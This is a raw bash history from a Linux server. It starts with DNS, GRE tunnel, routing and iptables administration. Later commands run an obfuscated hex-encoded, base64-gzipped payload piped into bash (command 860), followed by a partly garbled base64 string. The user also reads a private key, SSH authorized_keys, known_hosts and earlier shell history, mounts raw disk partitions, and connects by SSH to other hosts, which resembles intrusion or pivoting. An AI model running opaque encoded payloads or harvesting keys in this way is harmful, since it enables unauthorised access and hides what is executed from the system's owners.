554 cd /var/named
555 ls
556 ll
557 vim /etc/named.conf
558 ip addr
559 ip route
560 vim /etc/named.conf
561 cat citytoobs.com.db
562 ls
563 dig -t any imustpossess.com
564 whois imustpossess.com
565 exit
```



```
566 cd /var/named
567 ls
568 ll
569 ip addr
570 ip route
571 ip route | grep inter2ll
572 ip route | grep inter2ll | sort
573 ping 10.6.201.2
574 ping 10.6.201.1
575 ip link
576 exit
577 ip addr
578 ip route
579 ip addr add 206.72.206.197/32 dev eth0
580 ip addr del 206.72.206.197/32 dev eth0
581 ls
582 ip addr
583 exit
584 cd /etc/sysconfig/network-scripts/
585 ls
586 cat route-inter2ll
587 cp route-inter2ll route-inter2cet
588 vim route-inter2cet
589 ls
590 cp ifcfg-inter2ll ifcfg-inter2cet
591 vim ifcfg-inter2cet
592 ifup inter2cet
593 ip addr
594 ip route
595 ip route | sort
596 ip route del 206.72.206.198 dev inter2ll
597 ip route add 206.72.206.198 dev inter2cet
598 ip addr
599 ip route | sort
600 ping 10.11.201.1
601 ping 10.11.201.2
602 ping 10.11.201.2exit
603 exit
604 ip addr
605 cd /etc/sysconfig/network-scripts/
606 ls
607 cat route-inter2ll
608 exit
609 cd /etc/sysconfig/network-scripts/
610 ls
611 ifdown ifcfg-inter2ll
612 vi ifcfg-inter2ll
613 ifup ifcfg-inter2ll
614 ip ro
615 ip tun
616 service network restart
617 ls
618 cat ifcfg-eth0-range0
```

```
619 cat route-inter2ll
620 ifdown ifcfg-eth0-range0
621 ifdown ifcfg-eth0-range1
622 ip addr show
623 ls
624 cat ifcfg-eth0
625 cp ifcfg-eth0-range0 bakifcfg-eth0-range0
626 cp ifcfg-eth0-range1 bakifcfg-eth0-range1
627 ls
628 rm ifcfg-eth0-range1
629 rm ifcfg-eth0-range0
630 ls
631 service network restart
632 ip addr show
633 ls
634 sysctl -p
635 ip ro
636 ls
637 cat ifcfg-inter2ll
638 cat route-inter2cet
639 cat route-inter2ll
640 ip tun
641 sysctl -p
642 cat /etc/redhat-release
643 cat ifcfg-inter2ll
644 exit
645 cd /etc/sysconfig/network-scripts/
646 ls
647 ip route
648 ip link
649 ip route | grep inter2ll
650 ip addr
651 ifdown inter2ll
652 ip route
653 ip addr del 206.72.206.206/28 dev eth0
654 ip addr add 206.72.206.206/28 dev eth0
655 ip addr del 206.72.206.206/28 dev eth0
656 ip tunnel add inter2ben mode gre local 66.45.232.98 remote 66.165.231.50
657 ip link set inter2ben up
658 ip addr
659 ip addr add dev inter2ben 10.99.99.2/32 peer 10.99.99.1/32
660 ip addr
661 ping 10.99.99.1
662 ping 10.99.99.2
663 ip route add 206.72.206.206/32 dev inter2ben
664 ip tunnel
665 ip route
666 ip link set inter2ben down
667 ip tunnel del inter2ben
668 ip tunnel
669 ip tunnel add inter2ben mode gre local 66.45.232.98 remote 66.165.231.50 ttl 225
670 ip link set inter2ben up
671 ip addr add 10.99.99.2/32 peer 10.99.99.1/32 dev inter2ben
```

```
672 ip route add 206.72.206.206/32 dev inter2ben
673 ip addr
674 ip -4 route
675 lsmod | grep ip_gre
676 modprobe ip_gre
677 sysctl -a
678 cat /etc/sysctl.conf
679 iptables -L -n
680 ip route
681 ip neigh
682 ip tunnel
683 ip route
684 ip addr
685 ifup inter2ll
686 ip tunnel
687 ip addr
688 ping 10.6.201.2
689 ping 10.6.201.1
690 ip route
691 ip tunnel del inter2ben
692 ip route
693 cat route-inter2ll
694 ip route add 206.72.206.206/32 dev inter2ll
695 exit
696 ip tun show
697 ip ro
698 ls
699 ping 10.99.99.1
700 ip ro | grep ben
701 sysctl -p
702 ip addr show
703 ip addr add 206.72.206.206/32 dev eth0
704 ip addr del 206.72.206.206/32 dev eth0
705 sysctl -p
706 ip ro
707 ip tun show
708 service iptables status
709 service iptables stop
710 service iptables start
711 exit
712 ip addr
713 iptables -L -n
714 iptables -A OUTPUT -p icmp --icmp-type destination-unreachable -j DROP
715 iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP
716 iptables -A OUTPUT -p icmp --icmp-type 8 -j DROP
717 cat /etc/sysconfig/iptables-config
718 iptables -L -n
719 sudo service iptables stop
720 iptables -A OUTPUT -p icmp --icmp-type destination-unreachable -j DROP
721 sudo service iptables stop
722 cd
723 ls
724 ll
```

```
725 cd tmp
726 ls
727 yum search python 2.7
728 iptables -L -n
729 ip route
730 cd /etc/sysconfig/network-scripts/
731 ls
732 cat route-inter2ll
733 ip addr
734 awk '{print$1}' route-inter2ll | sed 's/\32$//g'
735 awk '{print$1}' route-inter2ll | sed 's/\32$//g' | while read -r line; echo ip addr del $line dev eth0; done
736 awk '{print$1}' route-inter2ll | sed 's/\32$//g' | while read -r line; do echo ip addr del $line dev eth0; done
737 awk '{print$1}' route-inter2ll | sed 's/\32$//g' | while read -r line; do ip addr del $line dev eth0; done
738 ip addr
739 ip route
740 ls
741 ifdown inter2ll && ifup inter2ll
742 ip route
743 exit
744 cd /root
745 ls -la
746 cd backup
747 ls
748 cd ..
749 cd dns_configs/
750 ls
751 cat add_dmarc.sh
752 ls -la
753 cat dmarc.zone.db
754 cd zones
755 ls
756 ls -la
757 cd ..
758 cd ..
759 ls
760 cd /
761 ls
762 cd admin
763 ls
764 cat rc.local
765 cat stress
766 ls /
767 cd cgroup
768 ls
769 cat ./rc.grsec
770 cat shell.db
771 cd /
772 ls
773 cd /home
774 ls
775 cd /mnt
776 ls
777 cd /dev
```

```
778 ls
779 mount -o ro, /dev/sda5 /mnt
780 mount -o ro, /dev/sda4 /mnt
781 mount -o ro, /dev/sda3 /mnt
782 cd /tmp
783 ls
784 cat ks-script-yKuwH0
785 cd /bar
786 cd /var
787 cat /root/.bash_history
788 ping 10.6.201.1
789 tracepath 10.6.201.1
790 ls
791 cd named
792 ls
793 ls -la
794 cat zeery.com.db
795 cat wellspringdepot.com.db
796 ls
797 cd ..
798 ls
799 cd cvs
800 ls
801 cd ..
802 cd log
803 ls
804 cd ..
805 cd /
806 ls
807 ls -la
808 cd opt
809 ls
810 cd rh
811 ls
812 cd /
813 cd usr
814 ls
815 cd tmp
816 ls
817 cd ..
818 cd local
819 ls
820 cd bin
821 ls
822 cd ..
823 cd sbin
824 ls
825 cd ..
826 cd share
827 ls
828 cd applications
829 ls
830 cd /
```

```
831 ls
832 cd /dev
833 ls
834 mount -o ro, /dev/sda3 /mnt
835 mount -o ro, /dev/sda2 /mnt
836 mount -o ro, /dev/sda1 /mnt
837 mount -o ro, /dev/ram0 /mnt
838 mount
839 mountallfs
840 mountall-fs
841 mount -a
842 mount
843 cd /sys
844 ls
845 cd hypervisor
846 ls
847 cd ..
848 cd ..
849 cd /proc/sys/fs/binfmt_misc
850 ls
851 cd status
852 cat status
853 cd /dev/shm
854 ls
855 cd /
856 ls
857 cd media
858 ls
859 cd ..
860 echo
'626173653634202D643C3C3596D467A5A5459304943316B504477385344527A53554E4D63334A5862474E4251544A6B646C6
C59556E706155554E5762457831645764365155316F646D4D3461474A6A52464E5052446C4552325A775954466E6555524A615
64A4255566C4861544A6A4C326C53543051774D574678625764476553746D4C7A5134644559796330314253305572655864335
55864495A456F7656316C5A53485A5364464E49526C5A45626C5A4B4D56564C4C314533595456706131524E563078325256647
84D5868534D6C55304E555261576B64594D6D45344B7A6B33513035794E584278556C68565531633161585A4353314A566345
6C725648426C4D69746164316C355A314668576E637A53477855545735425A6C67725A5751325558706C59564676546B567156
5767724E4856735447677A593230356133567165555A445745637962556C6853485A7665554A6B563263314E6D786E61555654
5A57316D5354524A524642465A4735334D444E365343383157454979556B4E4F6556637954305A4956584A5A51544A6162303
568634568445457684C6545527753475676555456314D474531556D6436627A51334D4656704D57784D565668434B33466852
7A684A5646526162336F304D6B6C3059555A4B536C4A6C53455A5355315A7A55316F775744553455334E68535739345654566
B627A4A4D5356525861566B3457545531533045346232784E5A336C486245357153565A494C33466A616B6C3456553131536B
4A7253484D32526B4A324E4446536255687556566779526B3958645870544E6E4E6A6157686A5A5749334F566C3563446C7661
57685A5A48707653533933536D397761306832536E4D7751316C6E59325674553355785231566F4D44684C636E6C4E646D5254
52315A6F4E7A68445547707255326F794C79397A4C7A52434F55457A64316C6C5755564251554539494877675A335675656D6C
776643423361476C735A53424A526C4D3949484A6C595751674C584A754D53426A4F79426B62794277636D6C75644759674A5
74D6749695237597A6F744A43646362696439496A73676332786C5A5841674D4334774D445537494673674969526A49694264
4948783849484E735A575677494441754D44553749475276626D554B7C626173680A'|xxd -r -p
861 base64 -d
```

```

862 base64 -d
YmFzZTY0IC1kPDw8SDRzSUNMc3JXbGNBQTJkdllYUnpaUUNWbEx1dWd6QU1odmM4aGJjRFNPRDIER2ZwYTFneURJaVJBuVIHaTJj
L2IST0QwMWFxbWdGeStmLzQ4dEYyc01BS0UreXd3UXdlZEovV1IZSHZSdFNIRIZEBIzKMMVLL1E3YTVpa1RNV0x2RVdxMXhSMIU0N
URaWkdYMmE4Kzk3Q05yNXBxUlHVU1c1aXZCS1JvcElrVHBIMitad1I5Z1FhWnczSGxUTW5BZlgrZWQ2UXplYVYVtkVqVWgrNHVsTG
gzY205a3VqeUZDWecybUlHSHZveUJkV2c1NmxnaUVTZW1mSTRJRFBFZG53MDN6SC81WElyUkNOeVcyT0ZIVXJZQTJab05hcEhDT
WhLeERwSGVvUTV1MGE1Umd6bzQ3MFVpMWxMVVhCK3FhRzhJVFRab3o0Mkl0YUZKSUJISEZSU1ZzU1owWDU4U3NhSW94VTvk
bzJMSVRXaV4WTU1S0E4b2xNZ3IHbE5qSVZIL3Fjakl4VU11SkJrSHM2RkI2NDFSbUhuVVgyRk9XdXpTnNjaWhjZWl3OVI5cDIvaWh
ZZHpvSS93Sm9wa0h2SnMwQ1lnY2VtU3UxR1VoMDhLcnlnNdmRTR1ZoNzhDUGprU2oyLy9zLzRCOUeZd1llWUUVBQUE9IHwgZ3Vue
mlwFCB3aGlsZSBjRlM9IHJlYWQgLXJuMSBjOyBkbyBwcmVudG9yJWJmglR7YzotJCdcid9ljsgc2x1ZXAgMCAwMDU7IFsgliRjliBdIHx8IH
NsZWVwIDAuMDU7IGRvbmUK
863 cd /root
864 ls -la
865 ls dns_configs/
866 cat dns_configs/private.key
867 cat ./route-inter2cet
868 ssh admin@66.45.232.99
869 ssh admin@206.72.206.194
870 ls
871 cd backup
872 ls
873 locate xr
874 cd /
875 locate xr
876 cd /usr
877 ls
878 cd tmp
879 ls
880 cd ..
881 cd local
882 ls
883 cd src
884 ls
885 cd ..
886 cd src
887 ls
888 cd /
889 ls
890 cd boot
891 ls
892 cd /
893 cd admin
894 ls
895 ./allips
896 ./sshkeyme
897 cd /root
898 ls
899 cd ./ssh
900 ls
901 cat authorized_keys2
902 cat authorized_keys
903 ls
904 cd ..
905 cd ./ssh

```

```
906 cat known_hosts
907 ssh admin@66.165.231.123
908 who
909 ping justher
910 cd /
911 ls
912 cd tmp
913 ls
914 cd /
915 ls
916 ssh admin@puppet
917 ssh admin@puppet.campaign.pub
918 exit
919 ls -la
920 cat ~/.bash_history
921 cd ~
922 ip tunnel
923 netstat -l
924 who
925 tcpdump -q
926 ifconfig
927 tcpdump -q -i inter2ll
928 ssh -v admin@rev.interserver.net
929 ping rev.interserver.net
930 tcpdump -q -i inter2ll -n
931 ssh -v admin@206.72.206.196
932 tcpdump -q -i inter2cet -n
933 ifconfig
934 tcpdump -q -i eth0:2
935 tcpdump -q -i eth0:2 -n
936 tcpdump -q -i eth0:3 -n
937 tcpdump -q -i eth0:3
938 ls -la
939 cd backup/
940 ls
941 cd ..
942 cd dns_configs/
943 ls
944 cat add_dmarc.sh
945 cd ..
946 cd ~/.ssh
947 ls
948 cat authorized_keys
949 cat authorized_keys2
950 cat known_hosts
951 cd /sbin
952 ls
953 fdisk -l
954 mount
955 cd /mnt
956 cd ..
957 mount /dev/sda2 /mnt
958 mount /dev/sda4 /mnt
```



```
959 mount -t ext4 /dev/sda4 /mnt
960 mount -t ext3 /dev/sda4 /mnt
961 dmesg | tail
962 cd /dev
963 ls
964 fdisk
965 mount /dev/sg0 /mnt
966 mount -t ext4 /dev/sg0 /mnt
967 cd block
968 ls
969 cd /etc
970 ls
971 cat ./rc
972 cd /sbin
973 ls
974 modprobe
975 modprobe --help
976 vgscan
977 pvscan
978 status
979 ps -A
980 cd /usr
981 ls
982 cd bin
983 ls
984 cd ..
985 cd sbin
986 ls
987 cd ..
988 ls
989 cd local
990 ls
991 cd bin
992 ls
993 cd ..
994 cd sbin
995 ls
996 cd ..
997 cd ..
998 cd share
999 ls
1000 exit
1001 last
1002 history
```